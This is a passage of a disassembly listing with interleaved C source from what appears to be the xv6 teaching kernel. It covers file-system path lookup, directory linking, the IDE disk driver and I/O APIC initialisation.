c7 01 add $0x1,%edi while(*path == '/') 80101e2b: 80 3f 2f cmpb $0x2f,(%edi) 80101e2e: 74 f8 je 80101e28 <namex+0xb8> while((path = skipelem(path, name)) != 0){ ilock(ip); 80101e30: 83 ec 0c sub $0xc,%esp 80101e33: 56 push %esi 80101e34: e8 27 f9 ff ff call 80101760 <ilock> if(ip->type != T_DIR){ 80101e39: 83 c4 10 add $0x10,%esp 80101e3c: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80101e41: 0f 85 a1 00 00 00 jne 80101ee8 <namex+0x178> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ 80101e47: 8b 55 e0 mov -0x20(%ebp),%edx 80101e4a: 85 d2 test %edx,%edx 80101e4c: 74 09 je 80101e57 <namex+0xe7> 80101e4e: 80 3f 00 cmpb $0x0,(%edi) 80101e51: 0f 84 d9 00 00 00 je 80101f30 <namex+0x1c0> // Stop one level early. iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ 80101e57: 83 ec 04 sub $0x4,%esp 80101e5a: 6a 00 push $0x0 80101e5c: ff 75 e4 pushl -0x1c(%ebp) 80101e5f: 56 push %esi 80101e60: e8 4b fe ff ff call 80101cb0 <dirlookup> 80101e65: 83 c4 10 add $0x10,%esp 80101e68: 89 c3 mov %eax,%ebx 80101e6a: 85 c0 test %eax,%eax 80101e6c: 74 7a je 80101ee8 <namex+0x178> iunlock(ip); 80101e6e: 83 ec 0c sub $0xc,%esp 80101e71: 56 push %esi 80101e72: e8 c9 f9 ff ff call 80101840 <iunlock> iput(ip); 80101e77: 89 34 24 mov %esi,(%esp) 80101e7a: 89 de mov %ebx,%esi 80101e7c: e8 0f fa ff ff call 80101890 <iput> 80101e81: 83 c4 10 add $0x10,%esp 80101e84: e9 3a ff ff ff jmp 80101dc3 <namex+0x53> 80101e89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101e90: 8b 55 e4 mov -0x1c(%ebp),%edx 80101e93: 8d 0c 02 lea (%edx,%eax,1),%ecx 80101e96: 89 4d dc mov %ecx,-0x24(%ebp) memmove(name, s, len); 80101e99: 83 ec 04 sub $0x4,%esp 80101e9c: 50 push %eax 80101e9d: 57 push %edi name[len] = 0; 80101e9e: 89 df mov %ebx,%edi memmove(name, s, len); 80101ea0: ff 75 e4 pushl -0x1c(%ebp) 80101ea3: e8 48 2e 00 00 call 80104cf0 <memmove> name[len] = 0; 80101ea8: 8b 45 dc mov -0x24(%ebp),%eax 80101eab: 83 c4 10 add $0x10,%esp 80101eae: c6 00 00 movb $0x0,(%eax) 80101eb1: e9 69 ff ff ff jmp 80101e1f <namex+0xaf> 80101eb6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101ebd: 8d 76 00 lea 0x0(%esi),%esi return 0; } iunlockput(ip); ip = next; } if(nameiparent){ 80101ec0: 8b 45 e0 mov -0x20(%ebp),%eax 80101ec3: 85 c0 test %eax,%eax 80101ec5: 0f 85 85 00 00 00 jne 80101f50 <namex+0x1e0> iput(ip); return 0; } return ip; } 80101ecb: 8d 65 f4 lea -0xc(%ebp),%esp 80101ece: 89 f0 mov %esi,%eax 80101ed0: 5b pop %ebx 80101ed1: 5e pop %esi 80101ed2: 5f pop %edi 80101ed3: 5d pop %ebp 80101ed4: c3 ret 80101ed5: 8d 76 00 lea 0x0(%esi),%esi while(*path != '/' && *path != 0) 80101ed8: 8b 45 e4 mov -0x1c(%ebp),%eax 80101edb: 89 fb mov %edi,%ebx 80101edd: 89 45 dc mov %eax,-0x24(%ebp) 80101ee0: 31 c0 xor %eax,%eax 80101ee2: eb b5 jmp 80101e99 <namex+0x129> 80101ee4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi iunlock(ip); 80101ee8: 83 ec 0c sub $0xc,%esp 80101eeb: 56 push %esi 80101eec: e8 4f f9 ff ff call 80101840 <iunlock> iput(ip); 80101ef1: 89 34 24 mov %esi,(%esp) return 0; 80101ef4: 31 f6 xor %esi,%esi iput(ip); 80101ef6: e8 95 f9 ff ff call 80101890 <iput> return 0; 80101efb: 83 c4 10 add $0x10,%esp } 80101efe: 8d 65 f4 lea -0xc(%ebp),%esp 80101f01: 89 f0 mov %esi,%eax 80101f03: 5b pop %ebx 80101f04: 5e pop %esi 80101f05: 5f pop %edi 80101f06: 5d pop %ebp 80101f07: c3 ret 80101f08: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101f0f: 90 nop ip = iget(ROOTDEV, ROOTINO); 80101f10: ba 01 00 00 00 mov $0x1,%edx 80101f15: b8 01 00 00 00 mov $0x1,%eax 80101f1a: 89 df mov %ebx,%edi 80101f1c: e8 1f f4 ff ff call 80101340 <iget> 80101f21: 89 c6 mov %eax,%esi 80101f23: e9 9b fe ff ff jmp 80101dc3 <namex+0x53> 80101f28: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101f2f: 90 nop iunlock(ip); 80101f30: 83 ec 0c sub $0xc,%esp 80101f33: 56 push %esi 80101f34: e8 07 f9 ff ff call 80101840 <iunlock> return ip; 80101f39: 83 c4 10 add $0x10,%esp } 80101f3c: 8d 65 f4 lea -0xc(%ebp),%esp 80101f3f: 89 f0 mov %esi,%eax 80101f41: 5b pop %ebx 80101f42: 5e pop %esi 80101f43: 5f pop %edi 80101f44: 5d pop %ebp 80101f45: c3 ret 80101f46: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101f4d: 8d 76 00 lea 0x0(%esi),%esi iput(ip); 80101f50: 83 ec 0c sub $0xc,%esp 80101f53: 56 push %esi return 0; 80101f54: 31 f6 xor %esi,%esi iput(ip); 80101f56: e8 35 f9 ff ff call 80101890 <iput> return 0; 80101f5b: 83 c4 10 add $0x10,%esp 80101f5e: e9 68 ff ff ff jmp 80101ecb <namex+0x15b> 80101f63: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101f6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101f70 <dirlink>: { 80101f70: f3 0f 1e fb endbr32 80101f74: 55 push %ebp 80101f75: 89 e5 mov %esp,%ebp 80101f77: 57 push %edi 80101f78: 56 push %esi 80101f79: 53 push %ebx 80101f7a: 83 ec 20 sub $0x20,%esp 80101f7d: 8b 5d 08 mov 0x8(%ebp),%ebx if((ip = dirlookup(dp, name, 0)) != 0){ 80101f80: 6a 00 push $0x0 80101f82: ff 75 0c pushl 0xc(%ebp) 80101f85: 53 push %ebx 80101f86: e8 25 fd ff ff call 80101cb0 <dirlookup> 80101f8b: 83 c4 10 add $0x10,%esp 80101f8e: 85 c0 test %eax,%eax 80101f90: 75 6b jne 80101ffd <dirlink+0x8d> for(off = 0; off < dp->size; off += sizeof(de)){ 80101f92: 8b 7b 58 mov 0x58(%ebx),%edi 80101f95: 8d 75 d8 lea -0x28(%ebp),%esi 80101f98: 85 ff test %edi,%edi 80101f9a: 74 2d je 80101fc9 <dirlink+0x59> 80101f9c: 31 ff xor %edi,%edi 80101f9e: 8d 75 d8 lea -0x28(%ebp),%esi 80101fa1: eb 0d jmp 80101fb0 <dirlink+0x40> 80101fa3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101fa7: 90 nop 80101fa8: 83 c7 10 add $0x10,%edi 80101fab: 3b 7b 58 cmp 0x58(%ebx),%edi 80101fae: 73 19 jae 80101fc9 <dirlink+0x59> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101fb0: 6a 10 push $0x10 80101fb2: 57 push %edi 80101fb3: 56 push %esi 80101fb4: 53 push %ebx 80101fb5: e8 a6 fa ff ff call 80101a60 <readi> 80101fba: 83 c4 10 add $0x10,%esp 80101fbd: 83 f8 10 cmp $0x10,%eax 80101fc0: 75 4e jne 80102010 <dirlink+0xa0> if(de.inum == 0) 80101fc2: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101fc7: 75 df jne 80101fa8 <dirlink+0x38> strncpy(de.name, name, DIRSIZ); 80101fc9: 83 ec 04 sub $0x4,%esp 80101fcc: 8d 45 da lea -0x26(%ebp),%eax 80101fcf: 6a 0e push $0xe 80101fd1: ff 75 0c pushl 0xc(%ebp) 80101fd4: 50 push %eax 80101fd5: e8 d6 2d 00 00 call 80104db0 <strncpy> if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101fda: 6a 10 push $0x10 de.inum = inum; 80101fdc: 8b 45 10 mov 0x10(%ebp),%eax if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101fdf: 57 push %edi 80101fe0: 56 push %esi 80101fe1: 53 push %ebx de.inum = inum; 80101fe2: 66 89 45 d8 mov %ax,-0x28(%ebp) if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101fe6: e8 75 fb ff ff call 80101b60 <writei> 80101feb: 83 c4 20 add $0x20,%esp 80101fee: 83 f8 10 cmp $0x10,%eax 80101ff1: 75 2a jne 8010201d <dirlink+0xad> return 0; 80101ff3: 31 c0 xor %eax,%eax } 80101ff5: 8d 65 f4 lea -0xc(%ebp),%esp 80101ff8: 5b pop %ebx 80101ff9: 5e pop %esi 80101ffa: 5f pop %edi 80101ffb: 5d pop %ebp 80101ffc: c3 ret iput(ip); 80101ffd: 83 ec 0c sub $0xc,%esp 80102000: 50 push %eax 80102001: e8 8a f8 ff ff call 80101890 <iput> return -1; 80102006: 83 c4 10 add $0x10,%esp 80102009: b8 ff ff ff ff mov $0xffffffff,%eax 8010200e: eb e5 jmp 80101ff5 <dirlink+0x85> panic("dirlink read"); 80102010: 83 ec 0c sub $0xc,%esp 80102013: 68 48 79 10 80 push $0x80107948 80102018: e8 73 e3 ff ff call 80100390 <panic> panic("dirlink"); 8010201d: 83 ec 0c sub $0xc,%esp 80102020: 68 4a 80 10 80 push $0x8010804a 80102025: e8 66 e3 ff ff call 80100390 <panic> 8010202a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102030 <namei>: struct inode* namei(char *path) { 80102030: f3 0f 1e fb endbr32 80102034: 55 push %ebp char name[DIRSIZ]; return namex(path, 0, name); 80102035: 31 d2 xor %edx,%edx { 80102037: 89 e5 mov %esp,%ebp 80102039: 83 ec 18 sub $0x18,%esp return namex(path, 0, name); 8010203c: 8b 45 08 mov 0x8(%ebp),%eax 8010203f: 8d 4d ea lea -0x16(%ebp),%ecx 80102042: e8 29 fd ff ff call 80101d70 <namex> } 80102047: c9 leave 80102048: c3 ret 80102049: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102050 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80102050: f3 0f 1e fb endbr32 80102054: 55 push %ebp return namex(path, 1, name); 80102055: ba 01 00 00 00 mov $0x1,%edx { 8010205a: 89 e5 mov %esp,%ebp return namex(path, 1, name); 8010205c: 8b 4d 0c mov 0xc(%ebp),%ecx 8010205f: 8b 45 08 mov 0x8(%ebp),%eax } 80102062: 5d pop %ebp return namex(path, 1, name); 80102063: e9 08 fd ff ff jmp 80101d70 <namex> 80102068: 66 90 xchg %ax,%ax 8010206a: 66 90 xchg %ax,%ax 8010206c: 66 90 xchg %ax,%ax 8010206e: 66 90 xchg %ax,%ax 80102070 <idestart>: } // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80102070: 55 push %ebp 80102071: 89 e5 mov %esp,%ebp 80102073: 57 push %edi 80102074: 56 push %esi 80102075: 53 push %ebx 80102076: 83 ec 0c sub $0xc,%esp if(b == 0) 80102079: 85 c0 test %eax,%eax 8010207b: 0f 84 b4 00 00 00 je 80102135 <idestart+0xc5> panic("idestart"); if(b->blockno >= FSSIZE) 80102081: 8b 70 08 mov 0x8(%eax),%esi 80102084: 89 c3 mov %eax,%ebx 80102086: 81 fe e7 03 00 00 cmp $0x3e7,%esi 8010208c: 0f 87 96 00 00 00 ja 80102128 <idestart+0xb8> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102092: b9 f7 01 00 00 mov $0x1f7,%ecx 80102097: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010209e: 66 90 xchg %ax,%ax 801020a0: 89 ca mov %ecx,%edx 801020a2: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 801020a3: 83 e0 c0 and $0xffffffc0,%eax 801020a6: 3c 40 cmp $0x40,%al 801020a8: 75 f6 jne 801020a0 <idestart+0x30> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801020aa: 31 ff xor %edi,%edi 801020ac: ba f6 03 00 00 mov $0x3f6,%edx 801020b1: 89 f8 mov %edi,%eax 801020b3: ee out %al,(%dx) 801020b4: b8 01 00 00 00 mov $0x1,%eax 801020b9: ba f2 01 00 00 mov $0x1f2,%edx 801020be: ee out %al,(%dx) 801020bf: ba f3 01 00 00 mov $0x1f3,%edx 801020c4: 89 f0 mov %esi,%eax 801020c6: ee out %al,(%dx) idewait(0); outb(0x3f6, 0); // generate interrupt outb(0x1f2, sector_per_block); // number of sectors outb(0x1f3, sector & 0xff); outb(0x1f4, (sector >> 8) & 0xff); 801020c7: 89 f0 mov %esi,%eax 801020c9: ba f4 01 00 00 mov $0x1f4,%edx 801020ce: c1 f8 08 sar $0x8,%eax 801020d1: ee out %al,(%dx) 801020d2: ba f5 01 00 00 mov $0x1f5,%edx 801020d7: 89 f8 mov %edi,%eax 801020d9: ee out %al,(%dx) outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); 801020da: 0f b6 43 04 movzbl 0x4(%ebx),%eax 801020de: ba f6 01 00 00 mov $0x1f6,%edx 801020e3: c1 e0 04 shl $0x4,%eax 801020e6: 83 e0 10 and $0x10,%eax 801020e9: 83 c8 e0 or $0xffffffe0,%eax 801020ec: ee out %al,(%dx) if(b->flags & B_DIRTY){ 801020ed: f6 03 04 testb $0x4,(%ebx) 801020f0: 75 16 jne 80102108 <idestart+0x98> 801020f2: b8 20 00 00 00 mov $0x20,%eax 801020f7: 89 ca mov %ecx,%edx 801020f9: ee out %al,(%dx) outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); } else { outb(0x1f7, read_cmd); } } 801020fa: 8d 65 f4 lea -0xc(%ebp),%esp 801020fd: 5b pop %ebx 801020fe: 5e pop %esi 801020ff: 5f pop %edi 80102100: 5d pop %ebp 80102101: c3 ret 80102102: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102108: b8 30 00 00 00 mov $0x30,%eax 8010210d: 89 ca mov %ecx,%edx 8010210f: ee out %al,(%dx) asm volatile("cld; rep outsl" : 80102110: b9 80 00 00 00 mov $0x80,%ecx outsl(0x1f0, b->data, BSIZE/4); 80102115: 8d 73 5c lea 0x5c(%ebx),%esi 80102118: ba f0 01 00 00 mov $0x1f0,%edx 8010211d: fc cld 8010211e: f3 6f rep outsl %ds:(%esi),(%dx) } 80102120: 8d 65 f4 lea -0xc(%ebp),%esp 80102123: 5b pop %ebx 80102124: 5e pop %esi 80102125: 5f pop %edi 80102126: 5d pop %ebp 80102127: c3 ret panic("incorrect blockno"); 80102128: 83 ec 0c sub $0xc,%esp 8010212b: 68 b4 79 10 80 push $0x801079b4 80102130: e8 5b e2 ff ff call 80100390 <panic> panic("idestart"); 80102135: 83 ec 0c sub $0xc,%esp 80102138: 68 ab 79 10 80 push $0x801079ab 8010213d: e8 4e e2 ff ff call 80100390 <panic> 80102142: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102150 <ideinit>: { 80102150: f3 0f 1e fb endbr32 80102154: 55 push %ebp 80102155: 89 e5 mov %esp,%ebp 80102157: 83 ec 10 sub $0x10,%esp initlock(&idelock, "ide"); 8010215a: 68 c6 79 10 80 push $0x801079c6 8010215f: 68 80 b5 10 80 push $0x8010b580 80102164: e8 57 28 00 00 call 801049c0 <initlock> ioapicenable(IRQ_IDE, ncpu - 1); 80102169: 58 pop %eax 8010216a: a1 00 3d 11 80 mov 0x80113d00,%eax 8010216f: 5a pop %edx 80102170: 83 e8 01 sub $0x1,%eax 80102173: 50 push %eax 80102174: 6a 0e push $0xe 80102176: e8 b5 02 00 00 call 80102430 <ioapicenable> while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 8010217b: 83 c4 10 add $0x10,%esp asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010217e: ba f7 01 00 00 mov $0x1f7,%edx 80102183: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102187: 90 nop 80102188: ec in (%dx),%al 80102189: 83 e0 c0 and $0xffffffc0,%eax 8010218c: 3c 40 cmp $0x40,%al 8010218e: 75 f8 jne 80102188 <ideinit+0x38> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102190: b8 f0 ff ff ff mov $0xfffffff0,%eax 80102195: ba f6 01 00 00 mov $0x1f6,%edx 8010219a: ee out %al,(%dx) 8010219b: b9 e8 03 00 00 mov $0x3e8,%ecx asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801021a0: ba f7 01 00 00 mov $0x1f7,%edx 801021a5: eb 0e jmp 801021b5 <ideinit+0x65> 801021a7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801021ae: 66 90 xchg %ax,%ax for(i=0; i<1000; i++){ 801021b0: 83 e9 01 sub $0x1,%ecx 801021b3: 74 0f je 801021c4 <ideinit+0x74> 801021b5: ec in (%dx),%al if(inb(0x1f7) != 0){ 801021b6: 84 c0 test %al,%al 801021b8: 74 f6 je 801021b0 <ideinit+0x60> havedisk1 = 1; 801021ba: c7 05 60 b5 10 80 01 movl $0x1,0x8010b560 801021c1: 00 00 00 asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801021c4: b8 e0 ff ff ff mov $0xffffffe0,%eax 801021c9: ba f6 01 00 00 mov $0x1f6,%edx 801021ce: ee out %al,(%dx) } 801021cf: c9 leave 801021d0: c3 ret 801021d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801021d8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801021df: 90 nop 801021e0 <ideintr>: // Interrupt handler. void ideintr(void) { 801021e0: f3 0f 1e fb endbr32 801021e4: 55 push %ebp 801021e5: 89 e5 mov %esp,%ebp 801021e7: 57 push %edi 801021e8: 56 push %esi 801021e9: 53 push %ebx 801021ea: 83 ec 18 sub $0x18,%esp struct buf *b; // First queued buffer is the active request. acquire(&idelock); 801021ed: 68 80 b5 10 80 push $0x8010b580 801021f2: e8 49 29 00 00 call 80104b40 <acquire> if((b = idequeue) == 0){ 801021f7: 8b 1d 64 b5 10 80 mov 0x8010b564,%ebx 801021fd: 83 c4 10 add $0x10,%esp 80102200: 85 db test %ebx,%ebx 80102202: 74 5f je 80102263 <ideintr+0x83> release(&idelock); return; } idequeue = b->qnext; 80102204: 8b 43 58 mov 0x58(%ebx),%eax 80102207: a3 64 b5 10 80 mov %eax,0x8010b564 // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) 8010220c: 8b 33 mov (%ebx),%esi 8010220e: f7 c6 04 00 00 00 test $0x4,%esi 80102214: 75 2b jne 80102241 <ideintr+0x61> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102216: ba f7 01 00 00 mov $0x1f7,%edx 8010221b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010221f: 90 nop 80102220: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80102221: 89 c1 mov %eax,%ecx 80102223: 83 e1 c0 and $0xffffffc0,%ecx 80102226: 80 f9 40 cmp $0x40,%cl 80102229: 75 f5 jne 80102220 <ideintr+0x40> if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0) 8010222b: a8 21 test $0x21,%al 8010222d: 75 12 jne 80102241 <ideintr+0x61> insl(0x1f0, b->data, BSIZE/4); 8010222f: 8d 7b 5c lea 0x5c(%ebx),%edi asm volatile("cld; rep insl" : 80102232: b9 80 00 00 00 mov $0x80,%ecx 80102237: ba f0 01 00 00 mov $0x1f0,%edx 8010223c: fc cld 8010223d: f3 6d rep insl (%dx),%es:(%edi) 8010223f: 8b 33 mov (%ebx),%esi // Wake process waiting for this buf. b->flags |= B_VALID; b->flags &= ~B_DIRTY; 80102241: 83 e6 fb and $0xfffffffb,%esi wakeup(b); 80102244: 83 ec 0c sub $0xc,%esp b->flags &= ~B_DIRTY; 80102247: 83 ce 02 or $0x2,%esi 8010224a: 89 33 mov %esi,(%ebx) wakeup(b); 8010224c: 53 push %ebx 8010224d: e8 fe 23 00 00 call 80104650 <wakeup> // Start disk on next buf in queue. if(idequeue != 0) 80102252: a1 64 b5 10 80 mov 0x8010b564,%eax 80102257: 83 c4 10 add $0x10,%esp 8010225a: 85 c0 test %eax,%eax 8010225c: 74 05 je 80102263 <ideintr+0x83> idestart(idequeue); 8010225e: e8 0d fe ff ff call 80102070 <idestart> release(&idelock); 80102263: 83 ec 0c sub $0xc,%esp 80102266: 68 80 b5 10 80 push $0x8010b580 8010226b: e8 90 29 00 00 call 80104c00 <release> release(&idelock); } 80102270: 8d 65 f4 lea -0xc(%ebp),%esp 80102273: 5b pop %ebx 80102274: 5e pop %esi 80102275: 5f pop %edi 80102276: 5d pop %ebp 80102277: c3 ret 80102278: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010227f: 90 nop 80102280 <iderw>: // Sync buf with disk. // If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID. // Else if B_VALID is not set, read buf from disk, set B_VALID. void iderw(struct buf *b) { 80102280: f3 0f 1e fb endbr32 80102284: 55 push %ebp 80102285: 89 e5 mov %esp,%ebp 80102287: 53 push %ebx 80102288: 83 ec 10 sub $0x10,%esp 8010228b: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf **pp; if(!holdingsleep(&b->lock)) 8010228e: 8d 43 0c lea 0xc(%ebx),%eax 80102291: 50 push %eax 80102292: e8 c9 26 00 00 call 80104960 <holdingsleep> 80102297: 83 c4 10 add $0x10,%esp 8010229a: 85 c0 test %eax,%eax 8010229c: 0f 84 cf 00 00 00 je 80102371 <iderw+0xf1> panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) 801022a2: 8b 03 mov (%ebx),%eax 801022a4: 83 e0 06 and $0x6,%eax 801022a7: 83 f8 02 cmp $0x2,%eax 801022aa: 0f 84 b4 00 00 00 je 80102364 <iderw+0xe4> panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) 801022b0: 8b 53 04 mov 0x4(%ebx),%edx 801022b3: 85 d2 test %edx,%edx 801022b5: 74 0d je 801022c4 <iderw+0x44> 801022b7: a1 60 b5 10 80 mov 0x8010b560,%eax 801022bc: 85 c0 test %eax,%eax 801022be: 0f 84 93 00 00 00 je 80102357 <iderw+0xd7> panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock 801022c4: 83 ec 0c sub $0xc,%esp 801022c7: 68 80 b5 10 80 push $0x8010b580 801022cc: e8 6f 28 00 00 call 80104b40 <acquire> // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 801022d1: a1 64 b5 10 80 mov 0x8010b564,%eax b->qnext = 0; 801022d6: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 801022dd: 83 c4 10 add $0x10,%esp 801022e0: 85 c0 test %eax,%eax 801022e2: 74 6c je 80102350 <iderw+0xd0> 801022e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801022e8: 89 c2 mov %eax,%edx 801022ea: 8b 40 58 mov 0x58(%eax),%eax 801022ed: 85 c0 test %eax,%eax 801022ef: 75 f7 jne 801022e8 <iderw+0x68> 801022f1: 83 c2 58 add $0x58,%edx ; *pp = b; 801022f4: 89 1a mov %ebx,(%edx) // Start disk if necessary. if(idequeue == b) 801022f6: 39 1d 64 b5 10 80 cmp %ebx,0x8010b564 801022fc: 74 42 je 80102340 <iderw+0xc0> idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 801022fe: 8b 03 mov (%ebx),%eax 80102300: 83 e0 06 and $0x6,%eax 80102303: 83 f8 02 cmp $0x2,%eax 80102306: 74 23 je 8010232b <iderw+0xab> 80102308: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010230f: 90 nop sleep(b, &idelock); 80102310: 83 ec 08 sub $0x8,%esp 80102313: 68 80 b5 10 80 push $0x8010b580 80102318: 53 push %ebx 80102319: e8 32 20 00 00 call 80104350 <sleep> while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 8010231e: 8b 03 mov (%ebx),%eax 80102320: 83 c4 10 add $0x10,%esp 80102323: 83 e0 06 and $0x6,%eax 80102326: 83 f8 02 cmp $0x2,%eax 80102329: 75 e5 jne 80102310 <iderw+0x90> } release(&idelock); 8010232b: c7 45 08 80 b5 10 80 movl $0x8010b580,0x8(%ebp) } 80102332: 8b 5d fc mov -0x4(%ebp),%ebx 80102335: c9 leave release(&idelock); 80102336: e9 c5 28 00 00 jmp 80104c00 <release> 8010233b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010233f: 90 nop idestart(b); 80102340: 89 d8 mov %ebx,%eax 80102342: e8 29 fd ff ff call 80102070 <idestart> 80102347: eb b5 jmp 801022fe <iderw+0x7e> 80102349: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 80102350: ba 64 b5 10 80 mov $0x8010b564,%edx 80102355: eb 9d jmp 801022f4 <iderw+0x74> panic("iderw: ide disk 1 not present"); 80102357: 83 ec 0c sub $0xc,%esp 8010235a: 68 f5 79 10 80 push $0x801079f5 8010235f: e8 2c e0 ff ff call 80100390 <panic> panic("iderw: nothing to do"); 80102364: 83 ec 0c sub $0xc,%esp 80102367: 68 e0 79 10 80 push $0x801079e0 8010236c: e8 1f e0 ff ff call 80100390 <panic> panic("iderw: buf not locked"); 80102371: 83 ec 0c sub $0xc,%esp 80102374: 68 ca 79 10 80 push $0x801079ca 80102379: e8 12 e0 ff ff call 80100390 <panic> 8010237e: 66 90 xchg %ax,%ax 80102380 <ioapicinit>: ioapic->data = data; } void ioapicinit(void) { 80102380: f3 0f 1e fb endbr32 80102384: 55 push %ebp int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; 80102385: c7 05 34 36 11 80 00 movl $0xfec00000,0x80113634 8010238c: 00 c0 fe { 8010238f: 89 e5 mov %esp,%ebp 80102391: 56 push %esi 80102392: 53 push %ebx ioapic->reg = reg; 80102393: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000 8010239a: 00 00 00 return ioapic->data; 8010239d: 8b 15 34 36 11 80 mov 0x80113634,%edx 801023a3: 8b 72 10 mov 0x10(%edx),%esi ioapic->reg = reg; 801023a6: c7 02 00 00 00 00 movl $0x0,(%edx) return ioapic->data; 801023ac: 8b 0d 34 36 11 80 mov 0x80113634,%ecx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; if(id != ioapicid) 801023b2: 0f b6 15 60 37 11 80 movzbl 0x80113760,%edx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 801023b9: c1 ee 10 shr $0x10,%esi 801023bc: 89 f0 mov %esi,%eax 801023be: 0f b6 f0 movzbl %al,%esi return ioapic->data; 801023c1: 8b 41 10 mov 0x10(%ecx),%eax id = ioapicread(REG_ID) >> 24; 801023c4: c1 e8 18 shr $0x18,%eax if(id != ioapicid) 801023c7: 39 c2 cmp %eax,%edx 801023c9: 74 16 je 801023e1 <ioapicinit+0x61> cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); 801023cb: 83 ec 0c sub $0xc,%esp 801023ce: 68 14 7a 10 80 push $0x80107a14 801023d3: e8 d8 e2 ff ff call 801006b0 <cprintf> 801023d8: 8b 0d 34 36 11 80 mov 0x80113634,%ecx 801023de: 83 c4 10 add $0x10,%esp 801023e1: 83 c6 21 add $0x21,%esi { 801023e4: ba 10 00 00 00 mov $0x10,%edx 801023e9: b8 20 00 00 00 mov $0x20,%eax 801023ee: 66 90 xchg %ax,%ax ioapic->reg = reg; 801023f0: 89 11 mov %edx,(%ecx) // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 801023f2: 89 c3 mov %eax,%ebx ioapic->data = data; 801023f4: 8b 0d 34 36 11 80 mov 0x80113634,%ecx 801023fa: 83 c0 01 add $0x1,%eax ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 801023fd: 81 cb 00 00 01 00 or $0x10000,%ebx ioapic->data = data; 80102403: 89 59 10 mov %ebx,0x10(%ecx) ioapic->reg = reg; 80102406: 8d 5a 01 lea 0x1(%edx),%ebx 80102409: 83 c2 02 add $0x2,%edx 8010240c: 89 19 mov %ebx,(%ecx) ioapic->data = data; 8010240e: 8b 0d 34 36 11 80 mov 0x80113634,%ecx 80102414: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx) for(i = 0; i <= maxintr; i++){ 8010241b: 39 f0 cmp %esi,%eax 8010241d: 75 d1 jne 801023f0 